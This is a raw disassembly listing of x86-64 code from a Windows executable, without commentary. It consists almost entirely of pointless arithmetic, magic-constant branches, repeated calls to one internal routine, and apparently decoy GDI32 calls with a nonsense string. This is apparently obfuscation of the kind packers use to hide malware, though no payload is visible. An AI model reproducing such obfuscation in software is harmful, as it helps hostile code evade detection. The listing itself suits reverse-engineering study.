mov rax, qword [rsp + 0x68e8]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x67f0]
movzx ecx, word [rax]
call fcn.1401fe2d0
nop
mov rax, qword [rsp + 0x68f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x68b8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x16f], al
movzx eax, byte [rsp + 0x170]
movzx ecx, byte [rsp + 0x105]
add eax, ecx
mov byte [rsp + 0x173], al
mov eax, dword [rsp + 0x3800]
add eax, 0x8a
mov dword [rsp + 0x3800], eax
mov rax, qword [rsp + 0x6920]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3840]
add ecx, eax
mov eax, ecx
mov dword [0x14024b350], eax
mov rax, qword [rsp + 0x68f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x67d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6140], rax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x6778]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6940]
mov rcx, qword [rsp + 0x6738]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3790], eax
movsx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0x6760]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x67c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6928]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6948]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x67f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf64], ax
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf60]
xor eax, ecx
mov word [rsp + 0xf6c], ax
movzx eax, byte [rsp + 0x170]
movzx ecx, byte [rsp + 0x173]
shl eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov eax, dword [rsp + 0x3840]
movzx ecx, al
mov eax, dword [rsp + 0x3738]
shr eax, cl
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6920]
mov ecx, dword [0x14024b350]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6920]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x6918]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x68e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6828]
mov rcx, qword [rsp + 0x68f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6828]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x175]
movsx ecx, byte [rsp + 0x172]
and eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov byte [rcx], al
movzx eax, word [rsp + 0xf60]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf74], ax
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6868]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf70], ax
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x67e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x105], al
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x68b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x68f8]
mov byte [rcx], al
cmp dword [rsp + 0x3800], 0x2ce2
jne 0x14005ddc9
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14024a010], ax
mov rax, qword [rsp + 0x6738]
mov ecx, dword [rsp + 0x3790]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x37c4], eax
mov rax, qword [rsp + 0x6940]
mov eax, dword [rax]
mov dword [rsp + 0x38a8], eax
cmp dword [rsp + 0x38a8], 0
je 0x14005e0d7
cmp dword [rsp + 0x38a8], 0x1177b16a
je 0x14005e095
jmp 0x1401fd4e4
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x37c4]
movzx r8d, byte [rsp + 0x170]
mov rax, qword [rsp + 0x68e8]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x67f0]
movzx ecx, word [rax]
call fcn.1401fe2d0
nop
jmp 0x1401fd4e4
lea rax, [rsp + 0xf78]
mov qword [rsp + 0x69c8], rax
mov rax, qword [rsp + 0x6928]
movzx eax, word [rax]
mov word [rsp + 0xf80], ax
mov rax, qword [rsp + 0x6968]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x170]
shl eax, cl
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
movzx eax, word [rsp + 0xf6c]
mov rcx, qword [rsp + 0x6790]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14024a014], ax
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf70]
and eax, ecx
mov word [rsp + 0xd0c], ax
cmp dword [rsp + 0x383c], 0xc9b3
jbe 0x14005e3cd
mov rax, qword [rsp + 0x6940]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3790]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x37c4], eax
mov rax, qword [rsp + 0x6888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6140]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6920]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3828]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68e8]
mov rax, qword [rax]
mov rcx, qword [0x14024a008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6918], rax
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
mov eax, dword [rsp + 0x383c]
sub eax, 0x86
mov dword [rsp + 0x383c], eax
movsx eax, byte [rsp + 0x174]
movsx ecx, byte [rsp + 0x172]
add eax, ecx
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x6780]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x105]
add eax, ecx
mov rcx, qword [rsp + 0x6798]
mov byte [rcx], al
mov rax, qword [rsp + 0x6878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3738]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf6c]
movzx ecx, word [rsp + 0xc4c]
sar eax, cl
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0x68e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6918]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x6878]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14024b350]
shl eax, cl
mov dword [rsp + 0x3828], eax
mov rax, qword [rsp + 0x68f0]
mov rcx, qword [rsp + 0x6988]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x67a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6738]
mov rcx, qword [rsp + 0x67e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x67b0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x105]
mov rcx, qword [rsp + 0x6968]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6870]
mov byte [rcx], al
mov rax, qword [rsp + 0x68b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6760]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x68b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x67c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6920]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3738]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf64]
and eax, ecx
mov word [rsp + 0xf7c], ax
mov rax, qword [rsp + 0x67d8]
mov rcx, qword [rsp + 0x6840]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6988]
mov qword [rcx], rax
jmp 0x14005e152
mov rax, qword [rsp + 0x67b8]
mov rcx, qword [0x14024b358]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3840], eax
mov rax, qword [rsp + 0x69c8]
movsx eax, word [rax]
mov dword [rsp + 0x38ac], eax
cmp dword [rsp + 0x38ac], 0
je 0x14005e47e
cmp dword [rsp + 0x38ac], 0x5816
je 0x14005e417
jmp 0x1401fd3a1
mov rax, qword [rsp + 0x6970]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x67c0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6970]
mov byte [rcx], al
mov rax, qword [rsp + 0x6778]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x66e8]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x6898]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x68e8]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x67f0]
movzx ecx, word [rax]
call fcn.1401fe2d0
nop
jmp 0x1401fd3a1
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
xor eax, ecx
movzx ecx, byte [rsp + 0x105]
movzx edx, byte [rsp + 0x170]
and ecx, edx
cmp eax, ecx
je 0x14005e518
lea rax, [rsp + 0x6740]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x29bc0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x69d0]
mov qword [rsp + 0x20], rax
mov r9d, 0x9b
mov r8d, 0xec
lea rdx, str.teeth_Bifocal_untiring
mov rcx, qword [rsp + 0x69d8]
call qword [sym.imp.GDI32.dll_GetTextExtentExPointW]
mov dword [rsp + 0x3850], eax
mov rax, qword [rsp + 0x6948]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf60]
sub eax, ecx
mov rcx, qword [rsp + 0x67f8]
mov word [rcx], ax
cmp dword [rsp + 0x3884], 0x10118
jae 0x14005e7a5
movzx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6968]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x105], al
mov rax, qword [rsp + 0x6828]
mov rcx, qword [rsp + 0x6990]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6840], rax
mov rax, qword [rsp + 0x6878]
mov rcx, qword [0x14024b358]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6878]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3758]
mov ecx, dword [rsp + 0x37a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [0x14024a008]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x68e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf64]
sub eax, ecx
mov rcx, qword [rsp + 0x6868]
mov word [rcx], ax
mov rax, qword [rsp + 0x69b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6790]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf6c], ax
mov rax, qword [rsp + 0x6920]
mov ecx, dword [rsp + 0x3840]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd0c]
sar eax, cl
mov rcx, qword [rsp + 0x6868]
mov word [rcx], ax
movsx eax, byte [rsp + 0x174]
mov rcx, qword [rsp + 0x67c0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x172], al
mov eax, dword [rsp + 0x3758]
mov ecx, dword [rsp + 0x37a0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6990]
mov rcx, qword [rsp + 0x6888]
mov qword [rsp + 0x69e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x69e0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6828]
mov qword [rcx], rax
mov rax, qword [0x14024b358]
mov ecx, dword [rsp + 0x3764]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3840], eax
mov rax, qword [rsp + 0x68e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6918]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6778], rax
movzx eax, word [0x14024a010]
movzx ecx, word [rsp + 0xf80]
add eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
mov eax, dword [rsp + 0x3884]
add eax, 0x5f
mov dword [rsp + 0x3884], eax
movsx eax, word [rsp + 0xf70]
movsx ecx, word [rsp + 0xf7c]
sub eax, ecx
mov word [rsp + 0xf64], ax
mov rax, qword [rsp + 0x6780]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6798]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6870]
mov byte [rcx], al
mov rax, qword [rsp + 0x67b8]
mov rcx, qword [rsp + 0x6878]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf7c]
sub eax, ecx
mov word [rsp + 0xd0c], ax
mov eax, dword [rsp + 0x38a0]
mov ecx, dword [0x14024b350]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6920]
mov dword [rcx], eax
jmp 0x14005e518
mov rax, qword [0x14024a008]
mov rcx, qword [rsp + 0x6918]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x6990]
movzx ecx, al
mov rax, qword [rsp + 0x67d8]
shl rax, cl
mov rcx, qword [rsp + 0x6988]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6738]
mov rcx, qword [rsp + 0x6940]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x67b0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x16f]
movsx ecx, byte [rsp + 0x172]
or eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov byte [rcx], al
movzx eax, word [rsp + 0xf80]
movzx ecx, word [rsp + 0xf60]
sar eax, cl
mov word [rsp + 0xf6c], ax
movzx eax, word [rsp + 0xf6c]
mov rcx, qword [rsp + 0x6790]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov word [rcx], ax
mov rax, qword [0x14024b358]
mov ecx, dword [rsp + 0x3828]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
movsx eax, word [rsp + 0xf70]
movsx ecx, word [rsp + 0xf64]
add eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
mov eax, dword [rsp + 0x37b0]
add eax, 0xce
mov dword [rsp + 0x37b0], eax
mov rax, qword [rsp + 0x6878]
mov rcx, qword [rsp + 0x67b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3840], eax
mov rax, qword [rsp + 0x6990]
mov rcx, qword [rsp + 0x67d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6840], rax
mov eax, dword [rsp + 0x37c4]
mov ecx, dword [rsp + 0x3790]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x37a0], eax
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x67a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x68e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x68b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sub eax, ecx
mov rcx, qword [rsp + 0x67c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6790]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x69c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6868]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x69c8]
mov word [rcx], ax
cmp dword [rsp + 0x37b0], 0x13a73
jne 0x14005e7a5
lea rax, [rsp + 0x6778]
mov qword [0x14024b360], rax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov byte [rsp + 0x176], al
mov rax, qword [rsp + 0x67e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x176]
or eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov rax, qword [rsp + 0x67e0]
mov rcx, qword [rsp + 0x6738]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6940]
mov dword [rcx], eax
mov eax, dword [rsp + 0x37c4]
mov dword [rsp + 0x38b0], eax
cmp dword [rsp + 0x38b0], 0x4c95840b
je 0x14005ea0f
jmp 0x14005ea47
mov rax, qword [0x14024a008]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x3758]
movzx r8d, byte [rsp + 0x170]
mov rax, qword [rsp + 0x68e8]
mov rdx, qword [rax]
movzx ecx, word [rsp + 0xd0c]
call fcn.1401fe2d0
nop
jmp 0x14005ea97
lea rax, [rsp + 0x6778]
mov qword [rsp + 0x69e8], rax
lea rax, [rsp + 0x6840]
mov qword [rsp + 0x69f0], rax
mov rax, qword [rsp + 0x67b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x38a0]
shr eax, cl
mov rcx, qword [rsp + 0x6920]
mov dword [rcx], eax
lea rax, [rsp + 0x171]
mov qword [rsp + 0x69f8], rax
mov rax, qword [rsp + 0x67b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x67e0]
mov qword [rsp + 0x6a00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6a00]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x66e8]
mov rdx, qword [rsp + 0x6738]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
je 0x14005eb31
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd0c]
add eax, ecx
mov word [rsp + 0xf7c], ax
mov eax, dword [rsp + 0x3764]
mov ecx, dword [rsp + 0x3828]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov edx, 0x53
mov rcx, qword [rsp + 0x69d8]
call qword [sym.imp.GDI32.dll_SetArcDirection]
mov dword [rsp + 0x37a0], eax
jmp 0x14005ec1a
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
movzx ecx, word [0x14024a010]
sub eax, ecx
mov rcx, qword [rsp + 0x67f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x105]
mov byte [rsp + 0x38b4], al
cmp byte [rsp + 0x38b4], 0
je 0x14005eb78
cmp byte [rsp + 0x38b4], 0x47
je 0x14005ebde
jmp 0x14005ec1a
mov rax, qword [rsp + 0x6968]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6798]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x68f8]
movzx eax, byte [rax]
mov byte [rsp + 0x177], al
mov rax, qword [rsp + 0x6778]
mov rcx, qword [0x14024a008]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68e8]
mov qword [rcx], rax
lea rax, [rsp + 0x37c4]
mov qword [rsp + 0x6a08], rax
jmp 0x14005ec1a
mov rax, qword [rsp + 0x6918]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x6a08]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x67e8]
movzx r8d, byte [rax]
mov rdx, qword [0x14024a008]
mov rax, qword [rsp + 0x6868]
movzx ecx, word [rax]
call fcn.1401fe2d0
nop
mov rax, qword [rsp + 0x68f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x67d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6988]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6920]
mov rcx, qword [rsp + 0x6878]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3738], eax
cmp dword [rsp + 0x3858], 0x7e6f
ja 0x14005ef30
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69c8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf78], ax
mov eax, dword [rsp + 0x3764]
mov ecx, dword [0x14024b350]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x170]
sar eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc4c], ax
movsx eax, word [rsp + 0xf70]
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf7c], ax
mov rax, qword [rsp + 0x6878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3738]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6990]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x6918]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x68e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6738]
mov rcx, qword [rsp + 0x67b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6940]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x68f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x67f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf6c]
add eax, ecx
mov word [0x14024a014], ax
movzx eax, byte [rsp + 0x170]
movzx ecx, byte [rsp + 0x176]
add eax, ecx
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x67c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x68b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x177], al
movsx eax, word [rsp + 0xf70]
movsx ecx, word [rsp + 0xd0c]
sub eax, ecx
mov word [rsp + 0xf7c], ax
mov eax, dword [rsp + 0x373c]
mov ecx, dword [rsp + 0x3828]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6920]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6a08]
mov qword [rsp + 0x6a10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6a10]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3790], eax
mov rax, qword [rsp + 0x6828]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6840]
shl rax, cl
mov qword [rsp + 0x6140], rax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x68e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x69e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x69c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf78]
and eax, ecx
mov word [rsp + 0xf64], ax
mov rax, qword [rsp + 0x6878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x373c]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3858]
add eax, 0x19
mov dword [rsp + 0x3858], eax
movzx eax, byte [rsp + 0x173]
movzx ecx, byte [rsp + 0x176]
add eax, ecx
mov rcx, qword [rsp + 0x6780]
mov byte [rcx], al
movzx eax, byte [rsp + 0x173]
movzx ecx, byte [rsp + 0x170]
sub eax, ecx
mov rcx, qword [rsp + 0x6870]
mov byte [rcx], al
jmp 0x14005ec5b
movsx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0x6760]
movsx ecx, byte [rcx]
add eax, ecx
movsx ecx, byte [rsp + 0x175]
movsx edx, byte [rsp + 0x174]
and ecx, edx
cmp eax, ecx
jl 0x14005f144
mov rax, qword [rsp + 0x6a08]
mov eax, dword [rax]
mov dword [rsp + 0x38b8], eax
cmp dword [rsp + 0x38b8], 0x2cee840f
je 0x14005ef82
jmp 0x14005f13f
movzx eax, byte [rsp + 0x171]
mov byte [rsp + 0x38bc], al
cmp byte [rsp + 0x38bc], 0x74
je 0x14005efae
cmp byte [rsp + 0x38bc], 0x7a
je 0x14005f126
jmp 0x14005f13f
movzx eax, word [0x14024a010]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x67f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6940]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3790]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67e0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3758]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x14005f0c2
lea r9, [rsp + 0x28db0]
mov r8d, 0x91
mov edx, 0xdb
mov rcx, qword [rsp + 0x6910]
call qword [sym.imp.GDI32.dll_GetCharWidthW]
mov dword [rsp + 0x38c0], eax
mov rax, qword [rsp + 0x67a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x69f0]
mov qword [rsp + 0x6a18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6a18]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x6840], rax
mov rax, qword [rsp + 0x6878]
mov ecx, dword [rsp + 0x38a0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66e8]
mov rcx, qword [rsp + 0x6a08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x37c4], eax
lea r9, [rsp + 0x173]
mov r8, qword [rsp + 0x6908]
lea rdx, [rsp + 0x29bc0]
mov ecx, 0x5e
call qword [sym.imp.GDI32.dll_SetWinMetaFileBits]
mov qword [rsp + 0x6a20], rax
jmp 0x14005f124
mov rax, qword [rsp + 0x6948]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, word [rcx]
or eax, ecx
movzx ecx, word [rsp + 0xf6c]
mov dword [rsp + 0x38c4], ecx
movzx edx, word [rsp + 0xf60]
movzx ecx, dl
mov edx, dword [rsp + 0x38c4]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x14005f124
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x6778]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x68e8]
mov qword [rcx], rax
jmp 0x14005f13f
movsx eax, byte [rsp + 0x177]
movsx ecx, byte [rsp + 0x172]
add eax, ecx
mov byte [rsp + 0x175], al
jmp 0x14005f2a3
mov rax, qword [rsp + 0x68f0]
mov rcx, qword [rsp + 0x69f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6988]
mov rdx, qword [rsp + 0x6840]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jge 0x14005f2a3
mov eax, dword [rsp + 0x37c4]
mov dword [rsp + 0x38c8], eax
cmp dword [rsp + 0x38c8], 0x65ebb45a
je 0x14005f280
cmp dword [rsp + 0x38c8], 0x69926242
je 0x14005f1ad
jmp 0x14005f2a3
mov rax, qword [rsp + 0x6a08]
mov rcx, qword [rsp + 0x6738]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x67b0]
mov rdx, qword [rsp + 0x67e0]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
